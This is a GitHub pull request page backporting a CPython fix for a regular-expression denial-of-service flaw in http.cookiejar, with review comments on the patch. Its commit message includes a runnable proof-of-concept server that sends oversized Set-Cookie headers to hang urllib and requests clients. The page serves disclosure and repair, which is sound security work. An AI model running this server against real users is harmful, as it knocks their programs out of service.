-
-
Notifications
You must be signed in to change notification settings - Fork 32.4k
[2.7] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) #17345
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bf)
- Loading branch information
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 change: 1 addition & 0 deletions
1
Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
Fixes a ReDoS vulnerability in :mod:`http.cookiejar`. Patch by Ben Caller. |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a reason that this
r
is needed specifically for python 2? I suppose it is preferred, but gives the same regex with or without (str(sre_parse.parse("""^...
with and without give the same result).Unrelated to this change, I just noticed that the backslash in
[-\/]
doesn't do anything. Not sure why it's there.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Oh I see the
r
wasn't in the python2 branch.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So.... adding the
r
is correct, right?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yes. Ignore me.